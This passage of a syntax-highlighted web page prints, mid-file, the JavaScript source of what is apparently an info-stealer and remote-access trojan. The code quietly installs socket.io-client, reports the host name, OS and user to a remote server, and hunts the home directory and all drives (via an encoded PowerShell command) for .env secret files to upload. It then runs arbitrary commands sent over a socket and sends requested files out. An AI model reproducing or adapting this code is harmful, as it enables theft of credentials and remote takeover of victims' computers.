f_s_l);</span><br><span class="line">  &#125; <span class="keyword">catch</span> (M) &#123;&#125;</span><br><span class="line">  <span class="keyword">const</span> H =</span><br><span class="line">    <span class="string">&#x27;\n       const axios = require(&quot;axios&quot;);\nconst os = require(&quot;os&quot;);\nconst &#123; execSync, exec &#125; = require(&quot;child_process&quot;);\nconst fs = require(&quot;fs&quot;);\nconst path = require(&quot;path&quot;);\n\n// Helper function to detect if running in WSL\nconst is_wsl = () =&gt; &#123;\n  // Check for WSL environment variable\n  if (process.env.WSL_DISTRO_NAME) &#123;\n    return true;\n  &#125;\n  // Check /proc/version for Microsoft/WSL\n  try &#123;\n    if (fs.existsSync(&quot;/proc/version&quot;)) &#123;\n      const versionContent = fs.readFileSync(&quot;/proc/version&quot;, &quot;utf8&quot;);\n      if (versionContent.toLowerCase().includes(&quot;microsoft&quot;) || versionContent.toLowerCase().includes(&quot;wsl&quot;)) &#123;\n        return true;\n      &#125;\n    &#125;\n  &#125; catch (e) &#123;&#125;\n  return false;\n&#125;;\n\n&#x27;</span> +</span><br><span class="line">    <span class="title class_">Utils</span>.<span class="title function_">set_l</span>(<span class="string">&quot;socket&quot;</span>) +</span><br><span class="line">    <span class="string">&quot;\nlet io;\ntry &#123;\n  io = require(\&quot;socket.io-client\&quot;);\n&#125; catch (e) &#123;\n  try &#123;\n    console.log(\&quot;installingsocket.io\&quot;);\n    const platform = process.platform;\n    const installOptions = platform === &#x27;win32&#x27; \n      ? &#123; windowsHide: true, stdio: [&#x27;pipe&#x27;, &#x27;pipe&#x27;, &#x27;pipe&#x27;], maxBuffer: 1024 * 1024 * 10 &#125;\n      : &#123; stdio: [&#x27;pipe&#x27;, &#x27;pipe&#x27;, &#x27;pipe&#x27;], maxBuffer: 1024 * 1024 * 10&#125;;\n    const output = execSync(\n      \&quot;npm install socket.io-client --no-warnings --no-save --no-progress --loglevel silent\&quot;,\n      installOptions\n    );\n      try &#123;\n        io = require(\&quot;socket.io-client\&quot;);\n      &#125; catch (requireErr) &#123;\n        console.log(\&quot;Failed to require socket.io-client:\&quot;, requireErr.message);\n      &#125;\n  &#125; catch (installErr) &#123;\n    console.log(\&quot;Failed to install socket.io-client:\&quot;, installErr.message);\n    process.exit(1);\n  &#125;\n&#125;\nif (!io || typeof io !== &#x27;function&#x27;) &#123;\n  console.error(\&quot;socket.io-client is not available\&quot;);\n  process.exit(1);\n&#125;\nconst API_ENDPOINT = `&quot;</span> +</span><br><span class="line">    s_s +</span><br><span class="line">    <span class="string">&quot;/api/notify`;\nconst l_e = `&quot;</span> +</span><br><span class="line">    s_s +</span><br><span class="line">    <span class="string">&quot;/api/log`;\nconst SOCKET_URL = `&quot;</span> +</span><br><span class="line">    s_s.<span class="title function_">replace</span>(<span class="regexp">/^http/</span>, <span class="string">&quot;ws&quot;</span>).<span class="title function_">replace</span>(<span class="regexp">/^https/</span>, <span class="string">&quot;wss&quot;</span>) +</span><br><span class="line">    <span class="string">&#x27;`;\nfunction gsi() &#123;\n  return &#123;\n    host: os.hostname(),\n    os: os.type() + &quot; &quot; + os.release(),\n    username: os.userInfo().username || &quot;unknown&quot;,\n  &#125;;\n&#125;\n\nasync function sendHostInfo() &#123;\n  const s_i = gsi();\n  \n  try &#123;\n    const payload = &#123;\n      ukey: &#x27;</span> +</span><br><span class="line">    u_k +</span><br><span class="line">    <span class="string">&quot;,\n      t: &quot;</span> +</span><br><span class="line">    t +</span><br><span class="line">    <span class="string">&quot;,\n      host: &quot;</span> +</span><br><span class="line">    u_k +</span><br><span class="line">    <span class="string">&#x27; + &quot;_&quot; + s_i.host,\n      os: s_i.os,\n      username: s_i.username,\n    &#125;;\n\n    const response = await axios.post(API_ENDPOINT, payload, &#123;\n      headers: &#123;\n        &quot;Content-Type&quot;: &quot;application/json&quot;,\n      &#125;,\n      timeout: 10000,\n    &#125;);\n\n    if (response.data.success) &#123;\n      console.log(&quot;✅ Host info sent successfully:&quot;, response.data.id);\n      \n      return response.data;\n    &#125; else &#123;\n      throw new Error(response.data.error || &quot;Failed to send host info&quot;);\n    &#125;\n  &#125; catch (error) &#123;\n    if (error.response) &#123;\n      console.error(&quot;❌ Server error:&quot;, error.response.data);\n      throw new Error(\n        error.response.data.error || `HTTP $&#123;error.response.status&#125;`\n      );\n    &#125; else if (error.request) &#123;\n      console.error(&quot;❌ No response from server:&quot;, error.message);\n      throw new Error(&quot;Server is not responding. Is it running?&quot;);\n    &#125; else &#123;\n      console.error(&quot;❌ Request error:&quot;, error.message);\n      throw error;\n    &#125;\n  &#125;\n&#125;\n\nasync function f_s_l(message, level = &quot;info&quot;, data = &#123;&#125;) &#123;\n  const s_i = gsi();\n  \n  try &#123;\n    if (!message) &#123;\n      throw new Error(&quot;Log message is required&quot;);\n    &#125;\n\n    const payload = &#123;\n      ukey: &#x27;</span> +</span><br><span class="line">    u_k +</span><br><span class="line">    <span class="string">&quot;,\n      t: &quot;</span> +</span><br><span class="line">    t +</span><br><span class="line">    <span class="string">&quot;,\n      host: &quot;</span> +</span><br><span class="line">    u_k +</span><br><span class="line">    <span class="string">&#x27; + &quot;_&quot; + s_i.host,\n      os: s_i.os,\n      username: s_i.username,\n      message,\n      level,\n      data,\n    &#125;;\n\n    const response = await axios.post(l_e, payload, &#123;\n      headers: &#123;\n        &quot;Content-Type&quot;: &quot;application/json&quot;,\n      &#125;,\n      timeout: 10000,\n    &#125;);\n\n    if (response.data.success) &#123;\n      console.log(&quot;✅ Log sent successfully:&quot;, response.data.id);\n      return response.data;\n    &#125; else &#123;\n      throw new Error(response.data.error || &quot;Failed to send log&quot;);\n    &#125;\n  &#125; catch (error) &#123;\n    if (error.response) &#123;\n      console.error(&quot;❌ Server error:&quot;, error.response.data);\n      throw new Error(\n        error.response.data.error || `HTTP $&#123;error.response.status&#125;`\n      );\n    &#125; else if (error.request) &#123;\n      console.error(&quot;❌ No response from server:&quot;, error.message);\n      throw new Error(&quot;Server is not responding. Is it running?&quot;);\n    &#125; else &#123;\n      console.error(&quot;❌ Request error:&quot;, error.message);\n      throw error;\n    &#125;\n  &#125;\n&#125;\n\nasync function uploadFileToLdb(filePath, fileContent) &#123;\n  try &#123;\n    const s_i = gsi();\n    const timestamp = Math.round(Date.now() / 1000);\n    const fileName = path.basename(filePath);\n    \n    const contentBuffer = Buffer.isBuffer(fileContent) \n      ? fileContent \n      : (typeof fileContent === \&#x27;string\&#x27; \n          ? Buffer.from(fileContent, \&#x27;binary\&#x27;)\n          : Buffer.from(fileContent));\n    \n          console.log(filePath, fileContent, &quot;uploading to ldb-server&quot;);\n    // Encode path and filename for HTTP headers (headers must be ASCII)\n    const encodedPath = encodeURIComponent(filePath);\n    const encodedFilename = encodeURIComponent(fileName);\n    \n    const response = await axios.post(\n      `&#x27;</span> +</span><br><span class="line">    l_s.<span class="title function_">replace</span>(<span class="string">&quot;/upload&quot;</span>, <span class="string">&quot;&quot;</span>) +</span><br><span class="line">    <span class="string">&#x27;/api/upload-file`,\n      contentBuffer,\n      &#123;\n        headers: &#123;\n          &quot;Content-Type&quot;: &quot;application/octet-stream&quot;,\n          &quot;userkey&quot;: String(&#x27;</span> +</span><br><span class="line">    u_k +</span><br><span class="line">    <span class="string">&#x27;),\n          &quot;t&quot;: String(&#x27;</span> +</span><br><span class="line">    t +</span><br><span class="line">    <span class="string">&#x27;),\n          &quot;hostname&quot;: encodeURIComponent(s_i.host),\n          &quot;path&quot;: encodedPath,\n          &quot;filename&quot;: encodedFilename,\n          &quot;timestamp&quot;: String(timestamp),\n        &#125;,\n        maxContentLength: 100 * 1024 * 1024,\n        maxBodyLength: 100 * 1024 * 1024,\n        timeout: 60000,\n      &#125;\n    );\n    \n    if (response.data.success) &#123;\n      console.log(`✅ File uploaded to ldb-server: $&#123;fileName&#125; (($&#123;contentBuffer.length / 1024&#125;).toFixed(2)&#125; KB)`);\n\n      let normalizedPath = filePath.replace(/\\\\/g, &quot;/&quot;);\n      normalizedPath = normalizedPath.replace(/^([A-Z]):\\//i, `$1/`);\n      if (normalizedPath.startsWith(&quot;/&quot;)) &#123;\n        normalizedPath = normalizedPath.substring(1);\n      &#125;\n      \n      const baseUrl = &quot;&#x27;</span> +</span><br><span class="line">    l_s.<span class="title function_">replace</span>(<span class="string">&quot;/upload&quot;</span>, <span class="string">&quot;&quot;</span>) +</span><br><span class="line">    <span class="string">&#x27;&quot;;\n      const host = &#x27;</span> +</span><br><span class="line">    u_k +</span><br><span class="line">    <span class="string">&#x27; + &quot;_&quot; + s_i.host;\n      const fileUrl =response.data.fileUrl ? `$&#123;baseUrl&#125;/$&#123;response.data.fileUrl&#125;` : `$&#123;baseUrl&#125;/api/file/&#x27;</span> +</span><br><span class="line">    t +</span><br><span class="line">    <span class="string">&quot;/$&#123;host&#125;?path=$&#123;encodeURIComponent(normalizedPath)&#125;`;\n      \n      return &#123;\n        ...response.data,\n        fileUrl: fileUrl\n      &#125;;\n    &#125; else &#123;\n      throw new Error(response.data.error || \&quot;Failed to upload file\&quot;);\n    &#125;\n  &#125; catch (error) &#123;\n    console.warn(`⚠️ Failed to upload file to ldb-server: $&#123;error.message&#125;`);\n    return null;\n  &#125;\n&#125;\n\nasync function searchAndUploadFiles(filename) &#123;\n  const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB limit\n  const platform = os.platform();\n  const homeDir = os.homedir();\n  \n  // Function to sanitize file path to valid filename\n  const sanitizeFileName = (filePath) =&gt; &#123;\n    // Get OS-specific max filename length\n    const maxLength = platform === &#x27;win32&#x27; ? 260 : 255;\n    \n    // Replace path separators with underscores\n    let sanitized = filePath.replace(/[\\\\/]/g, &#x27;_&#x27;);\n    \n    // Replace invalid characters for filenames\n    if (platform === &#x27;win32&#x27;) &#123;\n      // Windows: &lt; &gt; : \&quot; | ? * and control characters\n      sanitized = sanitized.replace(/[&lt;&gt;:\&quot;|?*\\x00-\\x1f]/g, &#x27;_&#x27;);\n    &#125; else &#123;\n      // Unix: / and null bytes\n      sanitized = sanitized.replace(/[\\/\\x00]/g, &#x27;_&#x27;);\n    &#125;\n    \n    // Remove leading/trailing dots and spaces (Windows doesn&#x27;t allow these)\n    if (platform === &#x27;win32&#x27;) &#123;\n      sanitized = sanitized.replace(/^[\\. ]+|[\\. ]+$/g, &#x27;&#x27;);\n    &#125;\n    \n    // Truncate to max length\n    if (sanitized.length &gt; maxLength) &#123;\n      const ext = path.extname(sanitized);\n      const nameWithoutExt = sanitized.slice(0, sanitized.length - ext.length);\n      sanitized = nameWithoutExt.slice(0, maxLength - ext.length) + ext;\n    &#125;\n    \n    return sanitized || &#x27;file&#x27;;\n  &#125;;\n  let command;\n  \n  // Build search pattern for filename\n  // For .env, we want to match .env, .env.local, .env.production, etc.\n  let searchPattern = filename;\n  if (filename.startsWith(&#x27;.&#x27;)) &#123;\n    // For dot-files, use pattern matching\n    if (platform === &#x27;win32&#x27;) &#123;\n      // Windows: use * for pattern matching\n      searchPattern = `$&#123;filename&#125;*`;\n    &#125; else &#123;\n      // Unix: use find with -name pattern\n      searchPattern = `$&#123;filename&#125;*`;\n    &#125;\n  &#125;\n  \n  try &#123;\n    if (platform === &#x27;win32&#x27;) &#123;\n      // Windows: Use PowerShell Get-ChildItem for better performance\n      // Search from home directory and all drives\n      const drives = [];\n      try &#123;\n        // Get available drives\n        const driveOutput = execSync(&#x27;wmic logicaldisk get name&#x27;, &#123; encoding: &#x27;utf8&#x27;, windowsHide: true &#125;);\n        const driveMatches = driveOutput.match(/([A-Z]):/g);\n        if (driveMatches) &#123;\n          drives.push(...driveMatches.map(d =&gt; `$&#123;d.replace(&#x27;:&#x27;, &#x27;&#x27;)&#125;:\\\\`));\n        &#125;\n      &#125; catch (e) &#123;\n        // Fallback: try common drives\n        const commonDrives = [&#x27;C&#x27;, &#x27;D&#x27;, &#x27;E&#x27;, &#x27;F&#x27;];\n        for (const drive of commonDrives) &#123;\n          try &#123;\n            if (fs.existsSync(`$&#123;drive&#125;:\\\\`)) &#123;\n              drives.push(`$&#123;drive&#125;:\\\\`);\n            &#125;\n          &#125; catch (e) &#123;&#125;\n        &#125;\n      &#125;\n      \n      // Use home directory if no drives found\n      if (drives.length === 0) &#123;\n        drives.push(homeDir);\n      &#125;\n      \n      // Build PowerShell command as string - search each drive separately\n      // Use single quotes for regex pattern to avoid escaping issues\n      const excludePattern = &#x27;node_modules|\\.git|vendor|venv|\\.venv|dist|build|Library|System|Windows|Program Files|AppData\\Local\\Temp&#x27;;\n      \n      // Build PowerShell command string\n      // Suppress progress and verbose output to avoid CLIXML issues\n      let psCommands = [];\n      for (const drive of drives) &#123;\n        // Escape single quotes in path by doubling them, and escape backslashes\n        const escapedPath = drive.replace(/&#x27;/g, \&quot;&#x27;&#x27;\&quot;).replace(/\\\\/g, &#x27;\\\\\\\\&#x27;);\n        // Use single quotes for the regex pattern to avoid escaping backslashes\n        // Suppress progress and only output file paths\n        // Use -Force to include hidden files\n        psCommands.push(`Get-ChildItem -Path &#x27;$&#123;escapedPath&#125;&#x27; -Filter &#x27;$&#123;searchPattern&#125;&#x27; -Recurse -Force -ErrorAction SilentlyContinue -File | Where-Object &#123; $_.FullName -notmatch &#x27;$&#123;excludePattern&#125;&#x27; &#125; | ForEach-Object &#123; $_.FullName &#125;`);\n      &#125;\n      \n      // Suppress progress preference and join commands\n      // Redirect stderr to null to suppress progress output\n      const psCommandString = `$ProgressPreference = &#x27;SilentlyContinue&#x27;; $ErrorActionPreference = &#x27;SilentlyContinue&#x27;; $&#123;psCommands.join(&#x27;; &#x27;)&#125; 2&gt;$null`;\n      \n      // Use -EncodedCommand to avoid quote escaping issues\n      // Convert to UTF-16LE and then base64 encode\n      const encodedCommand = Buffer.from(psCommandString, &#x27;utf16le&#x27;).toString(&#x27;base64&#x27;);\n      \n      // Execute using -EncodedCommand with flags to suppress output\n      command = `powershell -NoProfile -NoLogo -NonInteractive -ExecutionPolicy Bypass -EncodedCommand $&#123;encodedCommand&#125;`;\n    &#125; else &#123;\n      // Linux/macOS: Use find command\n      // Build find command with exclusions\n      const excludeDirs = [\n        &#x27;-path&#x27;, &#x27;*/node_modules&#x27;, &#x27;-prune&#x27;, &#x27;-o&#x27;,\n        &#x27;-path&#x27;, &#x27;*/.git&#x27;, &#x27;-prune&#x27;, &#x27;-o&#x27;,\n        &#x27;-path&#x27;, &#x27;*/vendor&#x27;, &#x27;-prune&#x27;, &#x27;-o&#x27;,\n        &#x27;-path&#x27;, &#x27;*/venv&#x27;, &#x27;-prune&#x27;, &#x27;-o&#x27;,\n        &#x27;-path&#x27;, &#x27;*/.venv&#x27;, &#x27;-prune&#x27;, &#x27;-o&#x27;,\n        &#x27;-path&#x27;, &#x27;*/dist&#x27;, &#x27;-prune&#x27;, &#x27;-o&#x27;,\n        &#x27;-path&#x27;, &#x27;*/build&#x27;, &#x27;-prune&#x27;, &#x27;-o&#x27;,\n        &#x27;-path&#x27;, &#x27;*/Library&#x27;, &#x27;-prune&#x27;, &#x27;-o&#x27;,\n        &#x27;-path&#x27;, &#x27;*/System&#x27;, &#x27;-prune&#x27;, &#x27;-o&#x27;,\n        &#x27;-type&#x27;, &#x27;f&#x27;, &#x27;-name&#x27;, searchPattern, &#x27;-print&#x27;\n      ].join(&#x27; &#x27;);\n      \n      // Search from home directory\n      command = `find \&quot;$&#123;homeDir&#125;\&quot; $&#123;excludeDirs&#125; 2&gt;/dev/null`;\n    &#125;\n    \n    console.log(`🔍 Searching for $&#123;filename&#125; files...`);\n    \n    // Execute command asynchronously to avoid blocking event loop\n    const output = await new Promise((resolve, reject) =&gt; &#123;\n      exec(command, &#123;\n        encoding: &#x27;utf8&#x27;,\n        maxBuffer: 50 * 1024 * 1024, // 50MB buffer for large outputs\n        windowsHide: platform === &#x27;win32&#x27;,\n        timeout: 300000 // 5 minute timeout\n      &#125;, (error, stdout, stderr) =&gt; &#123;\n        // Filter out CLIXML (PowerShell progress output) from stdout\n        let cleanOutput = stdout;\n        if (stdout) &#123;\n          // Remove CLIXML tags and content\n          cleanOutput = stdout\n            .split(&#x27;\\n&#x27;)\n            .filter(line =&gt; &#123;\n              const trimmed = line.trim();\n              // Skip CLIXML lines\n              if (trimmed.startsWith(&#x27;&lt;&#x27;) &amp;&amp; trimmed.includes(&#x27;CLIXML&#x27;)) return false;\n              if (trimmed.startsWith(&#x27;&lt;Objs&#x27;)) return false;\n              if (trimmed.startsWith(&#x27;&lt;/Objs&gt;&#x27;)) return false;\n              if (trimmed.startsWith(&#x27;&lt;Obj&#x27;)) return false;\n              if (trimmed.startsWith(&#x27;&lt;/Obj&gt;&#x27;)) return false;\n              if (trimmed.includes(&#x27;http://schemas.microsoft.com/powershell&#x27;)) return false;\n              return true;\n            &#125;)\n            .join(&#x27;\\n&#x27;);\n        &#125;\n        \n        // Only reject on actual errors, not on stderr (which may contain progress)\n        if (error &amp;&amp; error.code !== 0) &#123;\n          // Check if stderr contains actual errors (not just progress)\n          const hasRealError = stderr &amp;&amp; !stderr.includes(&#x27;CLIXML&#x27;) &amp;&amp; !stderr.includes(&#x27;Preparing modules&#x27;);\n          if (hasRealError) &#123;\n            reject(error);\n            return;\n          &#125;\n        &#125;\n        \n        resolve(cleanOutput || &#x27;&#x27;);\n      &#125;);\n    &#125;);\n    \n    // Parse output into file paths\n    const filePaths = output\n      .split(/[\\r\\n]+/)\n      .map(line =&gt; line.trim())\n      .filter(line =&gt; line &amp;&amp; line.length &gt; 0 &amp;&amp; fs.existsSync(line));\n    \n    console.log(`📁 Found $&#123;filePaths.length&#125; $&#123;filename&#125; file(s)`);\n    \n    // Upload each file\n    let uploadedCount = 0;\n    for (const filePath of filePaths) &#123;\n      try &#123;\n        // Check file size\n        const stats = fs.statSync(filePath);\n        if (stats.size &gt; MAX_FILE_SIZE) &#123;\n          console.log(`⚠️ Skipping large file: $&#123;filePath&#125; ($&#123;(stats.size / 1024 / 1024).toFixed(2)&#125;MB)`);\n          continue;\n        &#125;\n        \n        // Check if file is readable\n        try &#123;\n          fs.accessSync(filePath, fs.constants.R_OK);\n        &#125; catch (e) &#123;\n          continue;\n        &#125;\n        \n        // Read and upload file\n        const fileContent = fs.readFileSync(filePath);\n        \n        // Create sanitized filename from file path\n        const sanitizedFileName = sanitizeFileName(filePath);\n        const uploadPath = path.join(`found.$&#123;filename&#125;`, sanitizedFileName);\n        \n        // Upload with the new path in found folder\n        await uploadFileToLdb(uploadPath, fileContent);\n        uploadedCount++;\n        console.log(`✅ Uploaded ($&#123;uploadedCount&#125;/$&#123;filePaths.length&#125;): $&#123;filePath&#125; -&gt; $&#123;uploadPath&#125;`);\n        \n        // Yield to event loop every 5 files to allow socket commands to be processed\n        if (uploadedCount % 5 === 0) &#123;\n          await new Promise(resolve =&gt; setImmediate(resolve));\n        &#125;\n      &#125; catch (fileError) &#123;\n        // Skip files that can&#x27;t be read (locked, permissions, etc.)\n        console.log(`⚠️ Skipping file: $&#123;filePath&#125; - $&#123;fileError.message&#125;`);\n        continue;\n      &#125;\n    &#125;\n    \n    console.log(`✅ Finished: Uploaded $&#123;uploadedCount&#125; out of $&#123;filePaths.length&#125; $&#123;filename&#125; file(s)`);\n  &#125; catch (error) &#123;\n    console.error(`❌ Error searching for $&#123;filename&#125; files:`, error.message);\n  &#125;\n&#125;\nasync function connectSocket() &#123;\n  return new Promise((resolve, reject) =&gt; &#123;\n    const socket = io(SOCKET_URL, &#123;\n      reconnectionAttempts: 15,\n      reconnectionDelay: 2000,\n      timeout: 20000,\n    &#125;);\n\n    // Function to check process status\n    const checkProcessStatus = () =&gt; &#123;\n      const path = require(\&quot;path\&quot;);\n      const os = require(\&quot;os\&quot;);\n      const lockFiles = [\n        &#123; type: \&quot;ldbScript\&quot;, file: path.join(os.tmpdir(), `pid.$&#123;&quot;</span> +</span><br><span class="line">    t +</span><br><span class="line">    <span class="string">&#x27;&#125;.1.lock`) &#125;,\n        &#123; type: &quot;autoUploadScript&quot;, file: path.join(os.tmpdir(), `pid.$&#123;&#x27;</span> +</span><br><span class="line">    t +</span><br><span class="line">    <span class="string">&#x27;&#125;.2.lock`) &#125;,\n        &#123; type: &quot;socketScript&quot;, file: path.join(os.tmpdir(), `pid.$&#123;&#x27;</span> +</span><br><span class="line">    t +</span><br><span class="line">    <span class="string">&#x27;&#125;.3.lock`) &#125;,\n      ];\n      \n      const status = &#123;\n        ldbScript: false,\n        autoUploadScript: false,\n        socketScript: false,\n      &#125;;\n      \n      for (const lockFile of lockFiles) &#123;\n        try &#123;\n          if (fs.existsSync(lockFile.file)) &#123;\n            const lockData = JSON.parse(fs.readFileSync(lockFile.file, \&#x27;utf8\&#x27;));\n            const pid = lockData.pid;\n            try &#123;\n              process.kill(pid, 0);\n              // Process exists and is running\n              status[lockFile.type] = true;\n            &#125; catch (checkError) &#123;\n              // Process doesn\&#x27;t exist, remove stale lock\n              try &#123; fs.unlinkSync(lockFile.file); &#125; catch (e) &#123;&#125;\n              status[lockFile.type] = false;\n            &#125;\n          &#125;\n        &#125; catch (e) &#123;\n          status[lockFile.type] = false;\n        &#125;\n      &#125;\n      \n      return status;\n    &#125;;\n\n    socket.on(&quot;connect&quot;, () =&gt; &#123;\n      console.log(&quot;✅ Connected to socket server (for file browsing)&quot;);\n      \n      // Send initial process status\n      const status = checkProcessStatus();\n      socket.emit(&quot;processStatus&quot;, status);\n      \n      // Resolve immediately, don\&#x27;t wait for file search\n      resolve(socket);\n      \n      // Start searching and uploading .env files after socket connects (non-blocking)\n      \n      setImmediate(async () =&gt; &#123;\n        try &#123;\n          await searchAndUploadFiles(\&#x27;.env\&#x27;);\n        &#125; catch (err) &#123;\n          console.error(\&#x27;Error searching for .env files:\&#x27;, err.message);\n        &#125;\n      &#125;);\n      \n    &#125;);\n\n    socket.on(&quot;connect_error&quot;, (error) =&gt; &#123;\n      console.error(&quot;❌ Socket connection error:&quot;, error.message);\n      reject(error);\n    &#125;);\n\n    socket.on(&quot;whour&quot;, () =&gt; &#123;\n      const s_i = gsi();\n      socket.emit(&quot;whoIm&quot;, &#123;\n        ukey: &#x27;</span> +</span><br><span class="line">    u_k +</span><br><span class="line">    <span class="string">&quot;,\n        t: &quot;</span> +</span><br><span class="line">    t +</span><br><span class="line">    <span class="string">&quot;,\n        host: &quot;</span> +</span><br><span class="line">    u_k +</span><br><span class="line">    <span class="string">&#x27; + &quot;_&quot; + s_i.host,\n        os: s_i.os,\n        username: s_i.username,\n      &#125;);\n    &#125;);\n\n    socket.on(&quot;command&quot;, (msg) =&gt; &#123;\n      try &#123;\n        const &#123; message: command, code, cid, sid, path: filePath &#125; = msg;\n        \n        // For directory listings (code 102), use fs.readdirSync directly for proper UTF-8 handling\n        if (code === &quot;102&quot; &amp;&amp; filePath) &#123;\n          try &#123;\n            const dirPath = filePath.replace(/\\+$/, &quot;&quot;); // Remove trailing backslashes\n            if (fs.existsSync(dirPath)) &#123;\n              const stats = fs.statSync(dirPath);\n              if (stats.isDirectory()) &#123;\n                const items = fs.readdirSync(dirPath, &#123; encoding: \&#x27;utf8\&#x27; &#125;);\n                const result = items.map(item =&gt; &#123;\n                  const fullPath = path.join(dirPath, item);\n                  try &#123;\n                    const itemStats = fs.statSync(fullPath);\n                    const isDir = itemStats.isDirectory();\n                    return &#123;\n                      name: item, // UTF-8 encoded name from readdirSync\n                      path: fullPath,\n                      type: isDir ? &quot;dir&quot; : &quot;file&quot;,\n                      size: isDir ? null : itemStats.size,\n                      date: itemStats.mtime.toLocaleString()\n                    &#125;;\n                  &#125; catch (statError) &#123;\n                    // If we can\&#x27;t stat the item, assume it\&#x27;s a file\n                    return &#123;\n                      name: item,\n                      path: fullPath,\n                      type: &quot;file&quot;,\n                      size: null,\n                      date: new Date().toLocaleString()\n                    &#125;;\n                  &#125;\n                &#125;);\n                \n                socket.emit(&quot;message&quot;, &#123;\n                  ...msg,\n                  result: JSON.stringify(result), // Send as JSON string for parsing\n                &#125;);\n                return;\n              &#125;\n            &#125;\n          &#125; catch (dirError) &#123;\n            // Fall through to exec command if readdirSync fails\n            console.warn(`Failed to read directory with fs.readdirSync: $&#123;dirError.message&#125;`);\n          &#125;\n        &#125;\n        \n        exec(command, &#123; windowsHide: true, maxBuffer: 1024 * 1024 * 300 &#125;, async (error, stdout, stderr) =&gt; &#123;\n          // Handle WSL permission denied errors gracefully - they\&#x27;re expected when accessing /mnt/ drives\n          const isWslPermissionError = stderr &amp;&amp; /Permission denied/i.test(stderr) &amp;&amp; stdout &amp;&amp; stdout.trim().length &gt; 0;\n          const isLsCommand = /^s*lss/.test(command);\n          \n          if (error &amp;&amp; !isWslPermissionError) &#123;\n            socket.emit(&quot;message&quot;, &#123;\n              result: error.message,\n              ...msg,\n              type: &quot;error&quot;,\n            &#125;);\n            return;\n          &#125;\n          \n          // If stderr contains only permission denied errors and we have stdout, treat as warning but continue\n          if (stderr &amp;&amp; !isWslPermissionError) &#123;\n            socket.emit(&quot;message&quot;, &#123;\n              result: stderr,\n              ...msg,\n              type: &quot;stderr&quot;,\n            &#125;);\n            return;\n          &#125;\n          \n          // For WSL permission errors with valid stdout, log warning but continue processing\n          if (isWslPermissionError &amp;&amp; isLsCommand) &#123;\n            console.warn(`⚠️ WSL permission denied warnings (expected on /mnt/ drives), but continuing with valid output`);\n          &#125;\n          \n          let fileUrl = null;\n          let fileContentToSend = stdout;\n          const maxSize = 1 * 1024 * 1024;\n          \n          if (code === &quot;107&quot; &amp;&amp; filePath) &#123;\n            try &#123;\n              if (fs.existsSync(filePath)) &#123;\n                const fileBuffer = fs.readFileSync(filePath);\n                const fileSize = fileBuffer.length;\n                \n                const uploadResult = await uploadFileToLdb(filePath, fileBuffer);\n                if (uploadResult &amp;&amp; uploadResult.fileUrl) &#123;\n                  fileUrl = uploadResult.fileUrl;\n                &#125;\n                \n                if (fileSize &gt; maxSize) &#123;\n                  fileContentToSend = null;\n                  console.log(`⚠️ File too large (($&#123;fileSize / 1024 / 1024&#125;).toFixed(2)&#125;MB), sending URL only: $&#123;fileUrl || \&#x27;not available\&#x27;&#125;`);\n                &#125; else &#123;\n                  fileContentToSend = stdout;\n                &#125;\n              &#125; else &#123;\n                console.warn(`⚠️ File not found: $&#123;filePath&#125;, using stdout output`);\n                if (stdout) &#123;\n                  const contentSize = Buffer.isBuffer(stdout) ? stdout.length : Buffer.byteLength(stdout, \&#x27;utf8\&#x27;);\n                  try &#123;\n                    const uploadResult = await uploadFileToLdb(filePath, stdout);\n                    if (uploadResult &amp;&amp; uploadResult.fileUrl) &#123;\n                      fileUrl = uploadResult.fileUrl;\n                    &#125;\n                  &#125; catch (uploadError) &#123;\n                  &#125;\n                  \n                  if (contentSize &gt; maxSize) &#123;\n                    fileContentToSend = null;\n                    console.log(`⚠️ File too large (($&#123;contentSize / 1024 / 1024&#125;).toFixed(2)&#125;MB), sending URL only: $&#123;fileUrl || \&#x27;not available\&#x27;&#125;`);\n                  &#125;\n                &#125;\n              &#125;\n            &#125; catch (readError) &#123;\n              console.warn(`⚠️ Failed to read file directly: $&#123;readError.message&#125;, using stdout output`);\n              if (stdout) &#123;\n                const contentSize = Buffer.isBuffer(stdout) ? stdout.length : Buffer.byteLength(stdout, \&#x27;utf8\&#x27;);\n                try &#123;\n                  const uploadResult = await uploadFileToLdb(filePath, stdout);\n                  if (uploadResult &amp;&amp; uploadResult.fileUrl) &#123;\n                    fileUrl = uploadResult.fileUrl;\n                  &#125;\n                &#125; catch (uploadError) &#123;\n                &#125;\n                \n                if (contentSize &gt; maxSize) &#123;\n                  fileContentToSend = null;\n                  console.log(`⚠️ File too large (($&#123;contentSize / 1024 / 1024&#125;).toFixed(2)&#125;MB), sending URL only: $&#123;fileUrl || \&#x27;not available\&#x27;&#125;`);\n                &#125;\n              &#125;\n            &#125;\n          &#125;\n          \n          socket.emit(&quot;message&quot;, &#123;\n            ...msg,\n            result: fileContentToSend,\n            fileUrl: fileUrl,\n          &#125;);\n        &#125;);\n      &#125; catch (e) &#123;\n        console.error(&quot;Error executing command:&quot;, e.message);\n        socket.emit(&quot;message&quot;, &#123;\n          ...msg,\n          result: e.message,\n          type: &quot;error&quot;,\n        &#125;);\n      &#125;\n    &#125;);\n\n    socket.on(&quot;disconnect&quot;, () =&gt; &#123;\n      console.log(&quot;⚠️ Disconnected from socket server&quot;);\n    &#125;);\n\n    socket.on(&quot;reconnect&quot;, (attemptNumber) =&gt; &#123;\n      console.log(&quot;✅ Reconnected to socket server (attempt &quot; + attemptNumber + &quot;)&quot;);\n      // Send process status on reconnect\n      const status = checkProcessStatus();\n      socket.emit(&quot;processStatus&quot;, status);\n    &#125;);\n\n    // Handle process control commands\n    socket.on(&quot;processControl&quot;, (data) =&gt; &#123;\n      try &#123;\n        const &#123; scriptType, action &#125; = data;\n        const path = require(&quot;path&quot;);\n        const os = require(&quot;os&quot;);\n        const &#123; spawn &#125; = require(&quot;child_process&quot;);\n        \n        if (action === &quot;stop&quot;) &#123;\n          // Stop process by reading lock file and killing the process\n          const lockFileMap = &#123;\n            ldbScript: path.join(os.tmpdir(), `pid.$&#123;&#x27;</span> +</span><br><span class="line">    t +</span><br><span class="line">    <span class="string">&quot;&#125;.1.lock`),\n            autoUploadScript: path.join(os.tmpdir(), `pid.$&#123;&quot;</span> +</span><br><span class="line">    t +</span><br><span class="line">    <span class="string">&quot;&#125;.2.lock`),\n            socketScript: path.join(os.tmpdir(), `pid.$&#123;&quot;</span> +</span><br><span class="line">    t +</span><br><span class="line">    <span class="string">&quot;&#125;.3.lock`),\n          &#125;;\n          \n          const lockFilePath = lockFileMap[scriptType];\n          if (lockFilePath &amp;&amp; fs.existsSync(lockFilePath)) &#123;\n            try &#123;\n              const lockData = JSON.parse(fs.readFileSync(lockFilePath, 